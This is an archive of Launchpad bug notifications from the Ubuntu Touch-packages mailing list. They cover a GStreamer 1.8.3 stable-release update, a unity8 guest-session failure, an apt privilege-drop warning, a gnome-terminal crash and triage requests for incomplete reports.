gst-plugins-good1.0 source package in Xenial: Fix Committed Status in gst-plugins-ugly1.0 source package in Xenial: Fix Committed Status in gstreamer-vaapi source package in Xenial: In Progress Status in gstreamer1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Yakkety: Invalid Bug description: [ Description ] We should keep up with GStreamer's bugfix releases in the 1.8 series that 16.04 shipped with. [ QA and testing ] Play a range of videos in Totem. Play a range of audio tracks in Rhythmbox. Try to stream audio and/or video. Try to install a missing codec. In all cases, make sure that everything which worked before still works. [ Regression potential ] One of the fixes could be bad. Watch out for it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/1619600/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1619600] Please test proposed package
Hello Iain, or anyone else affected, Accepted gst-plugins-bad1.0 into xenial-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/gst- plugins-bad1.0/1.8.3-1ubuntu0.2 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-needed to verification-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed. In either case, details of your testing will help us make a better decision. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! ** Changed in: gst-plugins-bad1.0 (Ubuntu Yakkety) Status: Fix Committed => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-bad1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1619600 Title: [SRU] New stable release 1.8.3 Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-bad1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Fix Released Status in gst-plugins-good1.0 package in Ubuntu: Fix Released Status in gst-plugins-ugly1.0 package in Ubuntu: Fix Released Status in gstreamer-vaapi package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Fix Released Status in gst-libav1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Xenial: Fix Committed Status in gst-plugins-base1.0 source package in Xenial: Fix Committed Status in gst-plugins-good1.0 source package in Xenial: Fix Committed Status in gst-plugins-ugly1.0 source package in Xenial: Fix Committed Status in gstreamer-vaapi source package in Xenial: In Progress Status in gstreamer1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Yakkety: Invalid Bug description: [ Description ] We should keep up with GStreamer's bugfix releases in the 1.8 series that 16.04 shipped with. [ QA and testing ] Play a range of videos in Totem. Play a range of audio tracks in Rhythmbox. Try to stream audio and/or video. Try to install a missing codec. In all cases, make sure that everything which worked before still works. [ Regression potential ] One of the fixes could be bad. Watch out for it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/1619600/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1619600] Please test proposed package
Hello Iain, or anyone else affected, Accepted gst-plugins-bad1.0 into xenial-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/gst- plugins-bad1.0/1.8.3-1ubuntu0.2 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed.Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-needed to verification-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed. In either case, details of your testing will help us make a better decision. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-bad1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1619600 Title: [SRU] New stable release 1.8.3 Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-bad1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Fix Released Status in gst-plugins-good1.0 package in Ubuntu: Fix Released Status in gst-plugins-ugly1.0 package in Ubuntu: Fix Released Status in gstreamer-vaapi package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Fix Released Status in gst-libav1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Xenial: Fix Committed Status in gst-plugins-base1.0 source package in Xenial: Fix Committed Status in gst-plugins-good1.0 source package in Xenial: Fix Committed Status in gst-plugins-ugly1.0 source package in Xenial: Fix Committed Status in gstreamer-vaapi source package in Xenial: In Progress Status in gstreamer1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Yakkety: Invalid Bug description: [ Description ] We should keep up with GStreamer's bugfix releases in the 1.8 series that 16.04 shipped with. [ QA and testing ] Play a range of videos in Totem. Play a range of audio tracks in Rhythmbox. Try to stream audio and/or video. Try to install a missing codec. In all cases, make sure that everything which worked before still works. [ Regression potential ] One of the fixes could be bad. Watch out for it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/1619600/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644237] Re: unity8 fails to start as guest user
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: lightdm (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1644237 Title: unity8 fails to start as guest user Status in lightdm package in Ubuntu: Confirmed Status in unity8 package in Ubuntu: Incomplete Status in unity8-desktop-session package in Ubuntu: Confirmed Bug description: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1644237/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644237] Re: unity8 fails to start as guest user
This has been the case since day 1 of Unity on the desktop. See bug #1307618. Not sure why we never added unity8 to that bug, so let's dupe that bug to this one. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1644237 Title: unity8 fails to start as guest user Status in lightdm package in Ubuntu: Confirmed Status in unity8 package in Ubuntu: Incomplete Status in unity8-desktop-session package in Ubuntu: Confirmed Bug description: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1644237/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1558018] Re: Scrolling of icons in Toolbar
Updates TBD are listed in a comment of the MR. ** Changed in: ubuntu-ui-toolkit (Ubuntu) Status: In Progress => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1558018 Title: Scrolling of icons in Toolbar Status in Ubuntu UX: In Progress Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: Currently, when the icons do not all fit in the toolbar, an overflow button is shown that shows an overflow popover/panel when clicked. This needs to be replaced by icon scrolling instead. See https://docs.google.com/document/d/1F-zD6CF8YFfA- nAtpdRniCqwUNJhSDJVFrRO76A1M-Q/edit UX solution: https://docs.google.com/document/edit?hgd=1&id=1F-zD6CF8YFfA-nAtpdRniCqwUNJhSDJVFrRO76A1M-Q#heading=h.w16v0yn510iy is this not what you need? https://docs.google.com/document/edit?hgd=1&id=1F-zD6CF8YFfA- nAtpdRniCqwUNJhSDJVFrRO76A1M-Q#heading=h.duaef4xy7sqv To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-ux/+bug/1558018/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1522675] Re: Can't drop privileges for downloading : _apt user not allowed
** Changed in: apt (Debian) Status: Unknown => New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1522675 Title: Can't drop privileges for downloading : _apt user not allowed Status in apt package in Ubuntu: Confirmed Status in dpkg package in Ubuntu: Confirmed Status in apt package in Debian: New Status in synaptic package in Debian: New Bug description: Recently we got new versions for synaptic 0.82+build1 & apt 1.1.3, but now get that error when installing/upgrading some packages: Setting up libc6-dbg:amd64 (2.21-0ubuntu5) ... Processing triggers for libc-bin (2.21-0ubuntu5) ... W: Can't drop privileges for downloading as file '/root/.synaptic/tmp//tmp_cl' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permission denied) From nautilus, i'm seeing a /root/ folder locked (x on its icon) and the folder is empty (no /.synaptic/ sub-folder or file), so the above error. oem@u64:~$ ls -l .synaptic total 4 -rw-rw-r-- 1 oem oem 0 Aug 25 11:19 options -rw-rw-r-- 1 oem oem 236 Aug 25 11:19 synaptic.conf oem@u64:~$ ls -l /var/lib/apt/lists/ -rw-r- 1 root root0 Sep 20 06:36 lock drwx-- 2 _apt root16384 Sep 24 15:25 partial .. oem@u64:~$ sudo ls -l /var/lib/update-notifier/package-data-downloads/ . drwxr-xr-x 2 _apt root 4096 Sep 22 23:33 partial ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: synaptic 0.82+build1 ProcVersionSignature: Ubuntu 4.3.0-1.10-generic 4.3.0 Uname: Linux 4.3.0-1-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.19.2-0ubuntu8 Architecture: amd64 CurrentDesktop: GNOME Date: Fri Dec 4 05:23:25 2015 SourcePackage: synaptic UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1522675/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644237] Re: unity8 fails to start as guest user
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: unity8-desktop-session (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1644237 Title: unity8 fails to start as guest user Status in lightdm package in Ubuntu: Confirmed Status in unity8 package in Ubuntu: Incomplete Status in unity8-desktop-session package in Ubuntu: Confirmed Bug description: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1644237/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1637333] Re: gnome-terminal crashes when tab is dragged onto another tab's terminal area
** Changed in: gnome-terminal Status: Unknown => Confirmed ** Changed in: gnome-terminal Importance: Unknown => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu. https://bugs.launchpad.net/bugs/1637333 Title: gnome-terminal crashes when tab is dragged onto another tab's terminal area Status in GNOME Terminal: Confirmed Status in GTK+: Unknown Status in gnome-terminal package in Ubuntu: Confirmed Status in gtk+3.0 package in Ubuntu: New Bug description: This bug occurs when I drag an existing terminal tab out of the tab bar and drop it onto the text area of the open terminal. Usually occurs by accident, to be honest (when I don't mean to drag the tab at all, for instance) but it's 100% reproducible intentionally. I found several old bug reports on similar issues, but they were either not detailed enough to figure out if they were exactly the same or were closed as duplicates of a bug that no longer exists (https://bugs.launchpad.net/ubuntu/+source/gnome- terminal/+bug/1442826). Apport generated a report (title: gnome-terminal-server crashed with SIGABRT in g_assertion_message()) for me and then helpfully explained that the bug had already been filed. It redirected me to a bug that doesn't exist (https://bugs.launchpad.net/bugs/1595907) though, so I'm refiling it here. 1. Ubuntu release: spyro@julep:~$ lsb_release -rd Description: Ubuntu 16.04.1 LTS Release: 16.04 2. Package version: spyro@julep:~$ apt-cache policy gnome-terminal gnome-terminal: Installed: 3.20.2-1ubuntu3~ubuntu16.04.1 Candidate: 3.20.2-1ubuntu3~ubuntu16.04.1 Version table: *** 3.20.2-1ubuntu3~ubuntu16.04.1 500 500 http://ppa.launchpad.net/gnome3-team/gnome3-staging/ubuntu xenial/main amd64 Packages 100 /var/lib/dpkg/status 3.18.3-1ubuntu1 500 500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages spyro@julep:~$ 3. Expected behavior: Tab should split into a new window (as it does if you drop it onto someplace that's not a gnome-terminal window). At the worst, it should go back to where it was on the tab bar instead of crashing. 4. Actual behavior: The whole gnome-terminal window crashes, losing any activity or work on other tabs. Other open gnome-terminal windows also crash and close. From /var/log/syslog: Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G Lib-GObject-CRITICAL **: g_object_ref: assertion 'G_IS_OBJECT (object)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G tk-CRITICAL **: gtk_container_get_focus_child: assertion 'GTK_IS_CONTAINER (cont ainer)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G Lib-GObject-CRITICAL **: g_object_unref: assertion 'G_IS_OBJECT (object)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G tk-CRITICAL **: gtk_container_get_focus_child: assertion 'GTK_IS_CONTAINER (cont ainer)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: ** Oct 27 14:54:03 julep org.gnome.Terminal[2217]: Gtk:ERROR:/build/gtk+3.0-j0Vp0u/ gtk+3.0-3.20.8/./gtk/gtkwidget.c:5830:gtk_widget_get_frame_clock: assertion fail ed: (window != NULL) Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Contacts.SearchProvider' Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Documents' Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Nautilus' I've also saved the apport-generated crash report if that would be helpful to upload. To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-terminal/+bug/1637333/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644271] [NEW] became slow
Public bug reported: I am no sure what is it ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: xorg 1:7.7+13ubuntu4 ProcVersionSignature: Ubuntu 4.8.0-27.29-generic 4.8.1 Uname: Linux 4.8.0-27-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Wed Nov 23 10:27:32 2016 DistUpgraded: Fresh install DistroCodename: yakkety DistroVariant: ubuntu GraphicsCard: Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display [8086:0f31] (rev 0e) (prog-if 00 [VGA controller]) Subsystem: Lenovo Atom Processor Z36xxx/Z37xxx Series Graphics & Display [17aa:3905] InstallationDate: Installed on 2016-11-19 (3 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) MachineType: LENOVO 80FY ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-27-generic root=UUID=8194ca13-5276-47f8-932a-ad2e1ad911b4 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/18/2014 dmi.bios.vendor: LENOVO dmi.bios.version: A7CN40WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: Lancer 4A6 dmi.board.vendor: LENOVO dmi.board.version: SDK0F82990WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo G40-30 dmi.modalias: dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80FY:pvrLenovoG40-30:rvnLENOVO:rnLancer4A6:rvrSDK0F82990WIN:cvnLENOVO:ct10:cvrLenovoG40-30: dmi.product.name: 80FY dmi.product.version: Lenovo G40-30 dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.13.0+16.10.20160818.2-0ubuntu2 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.70-1 version.libgl1-mesa-dri: libgl1-mesa-dri 12.0.3-1ubuntu2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 12.0.3-1ubuntu2 version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-1ubuntu6.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.2-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20160706-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.12-2 xserver.bootTime: Wed Nov 23 09:56:08 2016 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.18.4-1ubuntu6.1 xserver.video_driver: modeset ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug compiz-0.9 ubuntu yakkety -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1644271 Title: became slow Status in xorg package in Ubuntu: New Bug description: I am no sure what is it ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: xorg 1:7.7+13ubuntu4 ProcVersionSignature: Ubuntu 4.8.0-27.29-generic 4.8.1 Uname: Linux 4.8.0-27-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Wed Nov 23 10:27:32 2016 DistUpgraded: Fresh install DistroCodename: yakkety DistroVariant: ubuntu GraphicsCard: Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display [8086:0f31] (rev 0e) (prog-if 00 [VGA controller]) Subsystem: Lenovo Atom Processor Z36xxx/Z37xxx Series Graphics & Display [17aa:3905] InstallationDate: Installed on 2016-11-19 (3 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) MachineType: LENOVO 80FY ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-27-generic root=UUID=8194ca13-5276-47f8-932a-ad2e1ad911b4 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/18/2014 dmi.bios.vendor: LENOVO dmi.bios.version: A7CN40WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: Lancer 4A6 dmi.board.vendor: LENOVO dmi.board.version: SDK0F82990WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo G40-30 dmi.modalias: dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80FY:pvrLenovoG40-30:rvnLENOVO:rnLancer4A6:rvrSDK0F82990WIN:cvnLENOVO:ct10:cvrLenovoG40-30: dmi.product.name: 80FY dmi.product.version: Lenovo G40-30 dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.13.0+16.10.20160818.2-0ubuntu2 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.70-1 v
[Touch-packages] [Bug 1619600] Re: [SRU] New stable release 1.8.3
Apologies, that should be for Xenial, not Yakkety. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-bad1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1619600 Title: [SRU] New stable release 1.8.3 Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-bad1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Fix Released Status in gst-plugins-good1.0 package in Ubuntu: Fix Released Status in gst-plugins-ugly1.0 package in Ubuntu: Fix Released Status in gstreamer-vaapi package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Fix Released Status in gst-libav1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Xenial: Fix Committed Status in gst-plugins-base1.0 source package in Xenial: Fix Committed Status in gst-plugins-good1.0 source package in Xenial: Fix Committed Status in gst-plugins-ugly1.0 source package in Xenial: Fix Committed Status in gstreamer-vaapi source package in Xenial: In Progress Status in gstreamer1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Yakkety: Invalid Bug description: [ Description ] We should keep up with GStreamer's bugfix releases in the 1.8 series that 16.04 shipped with. [ QA and testing ] Play a range of videos in Totem. Play a range of audio tracks in Rhythmbox. Try to stream audio and/or video. Try to install a missing codec. In all cases, make sure that everything which worked before still works. [ Regression potential ] One of the fixes could be bad. Watch out for it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/1619600/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644271] Re: became slow
Thank you for taking the time to report this bug and helping to make Ubuntu better. Unfortunately, we cannot work on this bug because your description didn't include enough information. You may find it helpful to read "How to report bugs effectively" http://www.chiark.greenend.org.uk/~sgtatham/bugs.html. We'd be grateful if you would then provide a more complete description of the problem. We have instructions on debugging some types of problems at http://wiki.ubuntu.com/DebuggingProcedures. At a minimum, we need: 1. The specific steps or actions you took that caused you to encounter the problem. 2. The behavior you expected. 3. The behavior you actually encountered (in as much detail as possible). Please also change the bug title to something more meaningful. Thanks! ** Changed in: xorg (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1644271 Title: became slow Status in xorg package in Ubuntu: Incomplete Bug description: I am no sure what is it ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: xorg 1:7.7+13ubuntu4 ProcVersionSignature: Ubuntu 4.8.0-27.29-generic 4.8.1 Uname: Linux 4.8.0-27-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Wed Nov 23 10:27:32 2016 DistUpgraded: Fresh install DistroCodename: yakkety DistroVariant: ubuntu GraphicsCard: Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display [8086:0f31] (rev 0e) (prog-if 00 [VGA controller]) Subsystem: Lenovo Atom Processor Z36xxx/Z37xxx Series Graphics & Display [17aa:3905] InstallationDate: Installed on 2016-11-19 (3 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) MachineType: LENOVO 80FY ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-27-generic root=UUID=8194ca13-5276-47f8-932a-ad2e1ad911b4 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/18/2014 dmi.bios.vendor: LENOVO dmi.bios.version: A7CN40WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: Lancer 4A6 dmi.board.vendor: LENOVO dmi.board.version: SDK0F82990WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo G40-30 dmi.modalias: dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80FY:pvrLenovoG40-30:rvnLENOVO:rnLancer4A6:rvrSDK0F82990WIN:cvnLENOVO:ct10:cvrLenovoG40-30: dmi.product.name: 80FY dmi.product.version: Lenovo G40-30 dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.13.0+16.10.20160818.2-0ubuntu2 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.70-1 version.libgl1-mesa-dri: libgl1-mesa-dri 12.0.3-1ubuntu2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 12.0.3-1ubuntu2 version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-1ubuntu6.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.2-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20160706-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.12-2 xserver.bootTime: Wed Nov 23 09:56:08 2016 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.18.4-1ubuntu6.1 xserver.video_driver: modeset To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1644271/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644244] Re: error
Thank you for taking the time to report this bug and helping to make Ubuntu better. Why did you not even tell us which version of Ubuntu you are using? Please execute the following command only once, as it will automatically gather debugging information, in a terminal: apport-collect 1644244 Please then change the bug status from "Incomplete" to "New" if that is not changed for you automatically. When reporting bugs please use apport by using 'ubuntu-bug' and the name of the package affected. You can learn more about this functionality at https://wiki.ubuntu.com/ReportingBugs. Also please don't assign bugs to yourself unless you are able to fix the issue that you are experiencing. ** Changed in: apt (Ubuntu) Assignee: KimbroVargas (wolfieredmoon) => (unassigned) ** Changed in: apt (Ubuntu) Status: In Progress => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1644244 Title: error Status in 